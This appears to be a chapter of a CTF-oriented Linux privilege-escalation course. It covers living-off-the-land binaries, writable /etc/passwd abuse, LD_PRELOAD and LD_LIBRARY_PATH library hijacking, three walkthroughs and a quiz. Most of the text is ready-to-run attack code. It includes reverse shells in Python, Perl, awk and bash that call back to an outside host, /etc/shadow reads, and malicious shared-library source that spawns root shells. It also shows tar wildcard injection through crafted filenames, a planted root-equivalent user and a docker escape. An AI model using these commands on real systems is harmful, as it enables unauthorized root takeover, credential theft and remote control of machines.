🏕️ Living Off The Land

GTFOBins is great, but it focuses on direct shell escapes. "Living off the land" goes broader, using existing system binaries in creative ways for privilege escalation, data exfiltration, and persistence. These techniques are especially valuable when you can't upload new tools.

Python — The Swiss Army Knife

# Read files you shouldn't be able to (if python has capabilities/SUID)
python3 -c "print(open('/etc/shadow').read())"

# Spawn a root shell (if python has cap_setuid)
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Create a web server for data exfiltration
python3 -c "import http.server; http.server.HTTPServer(('0.0.0.0',8080), http.server.SimpleHTTPRequestHandler).serve_forever()"

# Reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Read environment variables of other processes (if permissions allow)
python3 -c "import os; [print(open(f'/proc/{pid}/environ').read().replace(chr(0),chr(10))) for pid in os.listdir('/proc') if pid.isdigit()]" 2>/dev/null

Perl — Often Overlooked

# Spawn shell
perl -e 'exec "/bin/bash";'

# With setuid capability
perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# Read arbitrary files
perl -e 'open(F,"/etc/shadow");while(){print}'

# Reverse shell
perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'

awk — More Powerful Than You Think

# Execute commands
awk 'BEGIN {system("/bin/bash")}'

# Read files line by line with processing
awk '{print}' /etc/shadow

# Network operations (connect back)
awk 'BEGIN {
  s = "/inet/tcp/0/10.10.14.5/4444"
  while (1) {
    printf "> " |& s
    if ((s |& getline cmd) <= 0) break
    while ((cmd |& getline result) > 0)
      print result |& s
    close(cmd)
  }
}'

vim — Editor as a Shell

# Shell escape
vim -c '!bash'

# Within vim
:!bash
:shell
:set shell=/bin/bash
:shell

# Read files (useful when cat is restricted)
vim /etc/shadow
# Or: vim -c ':e /etc/shadow' -c ':w /tmp/shadow_copy' -c ':q'

# Write files (bypass file permission with sudo vim)
# Open any file as root → :w to save anywhere

find, tar, zip — Unexpected Shell Vectors

# find with -exec
find / -exec /bin/bash -p \; -quit
find . -exec /bin/sh \; -quit

# tar — checkpoint action
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

# tar — extract with path traversal (overwrite files as root)
# Create a malicious tar that extracts to /etc/cron.d/
tar -cf backdoor.tar --absolute-names /etc/cron.d/backdoor

# zip — test command execution
zip /tmp/x.zip /tmp/x -T --unzip-command="sh -c /bin/bash"

# cp — if SUID, copy sensitive files
cp /etc/shadow /tmp/shadow_readable
chmod 644 /tmp/shadow_readable

📝 Writable /etc/passwd Attack

If /etc/passwd is writable (a misconfiguration), you can add a new user with UID 0 (root equivalent) directly. This is a straightforward and reliable privilege escalation technique.

# Check if /etc/passwd is writable
ls -la /etc/passwd
# -rw-rw-rw- 1 root root 1234 Jan 1 00:00 /etc/passwd   ← Writable!

# Step 1: Generate a password hash
openssl passwd -1 -salt xyz password123
# Output: $1$xyz$abcdefghij123456789

# Or use Python:
python3 -c "import crypt; print(crypt.crypt('password123', '\$6\$salt\$'))"

# Step 2: Append a root-equivalent user to /etc/passwd
echo 'hacker:$1$xyz$abcdefghij123456789:0:0:Hacker:/root:/bin/bash' >> /etc/passwd

# Format: username:password_hash:UID:GID:comment:home:shell
# UID 0 = root privileges
# GID 0 = root group

# Step 3: Switch to the new user
su hacker
# Password: password123
# → root shell!

# Alternative: Replace root's password hash
# Copy the file, edit it, replace it:
cp /etc/passwd /tmp/passwd.bak
# Edit root's line to include your hash (replace the 'x' with your hash)
# root:$1$xyz$abcdefghij123456789:0:0:root:/root:/bin/bash
cp /tmp/passwd.bak /etc/passwd

# Note: Modern systems store hashes in /etc/shadow, and /etc/passwd
# has 'x' as a placeholder. But if you PUT a hash in /etc/passwd,
# it takes priority over /etc/shadow on most systems!

📚 Library Hijacking (LD_PRELOAD)

If sudo -l shows that LD_PRELOAD is preserved in the environment (via env_keep), you can inject a malicious shared library (a .so file, similar to a .dll on Windows) that executes before the legitimate program, giving you a root shell.

Understanding LD_PRELOAD

LD_PRELOAD is an environment variable that tells the system's dynamic linker (the part of Linux that loads libraries when a program starts) to load your specified library before any others. When combined with sudo, your malicious library runs with root privileges. Don't worry if this feels complex. The key idea is simple: you trick a root-level process into loading your code first.

# Step 1: Verify LD_PRELOAD is preserved
sudo -l
# Matching Defaults entries:
#     env_keep += LD_PRELOAD    ← This is what you need

# Step 2: Create a malicious shared library
cat > /tmp/privesc.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    // Clean up the environment variable to avoid infinite loops
    unsetenv("LD_PRELOAD");
    // Set UID and GID to root
    setresuid(0, 0, 0);
    setresgid(0, 0, 0);
    // Spawn a root shell
    system("/bin/bash -p");
}
EOF

# Step 3: Compile it as a shared library
gcc -fPIC -shared -nostartfiles -o /tmp/privesc.so /tmp/privesc.c

# Step 4: Run any allowed sudo command with LD_PRELOAD
sudo LD_PRELOAD=/tmp/privesc.so /usr/bin/any_allowed_command
# → root shell!

# This works with ANY binary that sudo allows you to run.
# Even something harmless like 'sudo LD_PRELOAD=/tmp/privesc.so /usr/bin/id'
# The library loads first, spawns a shell, and the original command never runs.

LD_LIBRARY_PATH Variant

# If env_keep includes LD_LIBRARY_PATH:
sudo -l
# env_keep += LD_LIBRARY_PATH

# Step 1: Find what libraries the allowed binary loads
ldd /usr/bin/allowed_binary
# linux-vdso.so.1
# libcustom.so.1 => /usr/lib/libcustom.so.1
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6

# Step 2: Create a malicious replacement for one of those libraries
cat > /tmp/libcustom.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
    unsetenv("LD_LIBRARY_PATH");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
EOF

gcc -fPIC -shared -o /tmp/libcustom.so.1 /tmp/libcustom.c

# Step 3: Run with the hijacked library path
sudo LD_LIBRARY_PATH=/tmp /usr/bin/allowed_binary
# → root shell

🏆 3 Detailed CTF Walkthrough Examples

Let's walk through three realistic privesc scenarios step-by-step, showing the full thought process from enumeration to root.

Example 1: Sudo + Custom Script + PATH Hijacking

You land on a box as www-data from a web exploit. Here's how you escalate:

# Step 1: Basic enumeration
$ whoami
www-data

$ sudo -l
User www-data may run the following commands:
    (root) NOPASSWD: /opt/statuscheck.sh

# Step 2: Examine the script
$ cat /opt/statuscheck.sh
#!/bin/bash
echo "=== System Status ==="
echo "Date: $(date)"
echo "Uptime: $(uptime)"
echo "Disk usage:"
df -h
echo "Network:"
ifconfig
echo "Service status:"
service apache2 status

# Step 3: Analyze — can we modify the script?
$ ls -la /opt/statuscheck.sh
-rwxr-xr-x 1 root root 256 Jan 1 00:00 /opt/statuscheck.sh
# Not writable. But look at the script — it calls commands WITHOUT full paths!
# "df", "ifconfig", "service" — all relative paths

# Step 4: PATH hijacking
$ echo '#!/bin/bash' > /tmp/service
$ echo 'bash -p' >> /tmp/service
$ chmod +x /tmp/service

$ sudo PATH=/tmp:$PATH /opt/statuscheck.sh
# When the script runs "service apache2 status", it finds /tmp/service first
# /tmp/service runs "bash -p" as root

root@target# whoami
root

Example 2: SUID Binary + Shared Library Injection

A custom SUID binary loads a shared library from a writable location:

# Step 1: Find unusual SUID binaries
$ find / -perm -4000 2>/dev/null | grep -v snap
/usr/local/bin/logviewer        ← Custom! Investigate.

# Step 2: Analyze the binary
$ strings /usr/local/bin/logviewer
...
/var/log/syslog
Error opening log file
liblogparse.so
...

$ ldd /usr/local/bin/logviewer
linux-vdso.so.1
liblogparse.so => not found        ← Library NOT FOUND!
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6

# Step 3: The binary tries to load liblogparse.so but can't find it!
# Check the library search path:
$ strace /usr/local/bin/logviewer 2>&1 | grep liblogparse
openat(AT_FDCWD, "/usr/local/lib/liblogparse.so", O_RDONLY) = -1
openat(AT_FDCWD, "/usr/lib/liblogparse.so", O_RDONLY) = -1
openat(AT_FDCWD, "/lib/liblogparse.so", O_RDONLY) = -1
# It searches /usr/local/lib first — can we write there?

$ ls -la /usr/local/lib/
drwxrwxr-x 2 root staff 4096 Jan 1 00:00 .
# Writable by "staff" group! Check our groups:

$ id
uid=1001(user) gid=1001(user) groups=1001(user),50(staff)
# We're in the staff group!

# Step 4: Create a malicious shared library
$ cat > /tmp/liblogparse.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
EOF

$ gcc -fPIC -shared -o /usr/local/lib/liblogparse.so /tmp/liblogparse.c

# Step 5: Run the SUID binary
$ /usr/local/bin/logviewer

root@target# whoami
root

Example 3: Cron + Wildcard Injection + Tar

A root cron job uses tar with wildcards in a user-writable directory:

# Step 1: Enumeration reveals a cron job
$ cat /etc/crontab
*/5 * * * * root cd /home/user/backups && tar czf /var/backups/user-backup.tar.gz *

# Step 2: Analyze the vulnerability
# The cron runs "tar czf ... *" in /home/user/backups/
# The wildcard (*) expands to filenames — including filenames that look like tar flags!
# tar interprets --checkpoint and --checkpoint-action as valid options

# Step 3: Create the exploit files
$ cd /home/user/backups

# Create the reverse shell script
$ echo '#!/bin/bash' > shell.sh
$ echo 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' >> shell.sh
$ chmod +x shell.sh

# Create filenames that tar interprets as options
$ echo "" > "--checkpoint=1"
$ echo "" > "--checkpoint-action=exec=sh shell.sh"

# Step 4: Verify the files exist
$ ls -la
-rw-r--r-- 1 user user  1 Jan 1 00:00 --checkpoint=1
-rw-r--r-- 1 user user  1 Jan 1 00:00 --checkpoint-action=exec=sh shell.sh
-rwxr-xr-x 1 user user 64 Jan 1 00:00 shell.sh

# Step 5: Set up listener and wait
$ # On attacker: nc -lvnp 4444
# Wait up to 5 minutes for the cron to run...

# When cron runs: tar czf /var/backups/user-backup.tar.gz *
# It expands to: tar czf /var/backups/user-backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh
# tar hits checkpoint 1 → executes shell.sh as root → reverse shell!

root@target# whoami
root

📖 Further Reading

🏆 Section Assessment — Linux PrivEsc Mastery
You find python3 with cap_setuid+ep capability. What command escalates you to root?
The cap_setuid capability allows the binary to change its UID. os.setuid(0) changes the effective UID to 0 (root), then os.system("/bin/bash") spawns a shell that inherits the root UID. Without os.setuid(0), the shell would still run as your original user. This is different from SUID exploitation — capabilities are a finer-grained privilege mechanism.
LinPEAS highlights output in RED/YELLOW. What does this color coding mean?
LinPEAS uses color coding to prioritize findings: RED/YELLOW marks high-probability privesc vectors (like writable scripts run by root, dangerous SUID binaries, or misconfigured sudo rules). GREEN means interesting info worth noting. LIGHT GREY is standard system info. Always check RED/YELLOW findings first — they solve the majority of CTF privesc challenges.
You're in the docker group. What command gives you root access on the host?
Being in the docker group effectively grants root access. docker run -v /:/host -it alpine chroot /host mounts the entire host filesystem (/) into the container at /host, then uses chroot to change root to the host filesystem. You now have a root shell on the host. This is why Docker group membership is considered equivalent to root access.
You found a database password in a config file. What should you try next?
Password reuse is one of the most reliable privilege escalation vectors. Humans are lazy and reuse the same password everywhere. A database password from a config file might also be the root password, an SSH password, or another user's password. Always try su root and su <username> with any password you discover. This simple check solves many CTF boxes.
When exploiting a SUID /bin/bash, why must you use the -p flag?
Bash has a security feature: when started, it compares the effective UID (from SUID) with the real UID (your actual user). If they differ and -p is not set, bash automatically drops the effective UID to match the real UID — meaning you lose root privileges. The -p (privileged) flag tells bash to preserve the effective UID, keeping your SUID root access.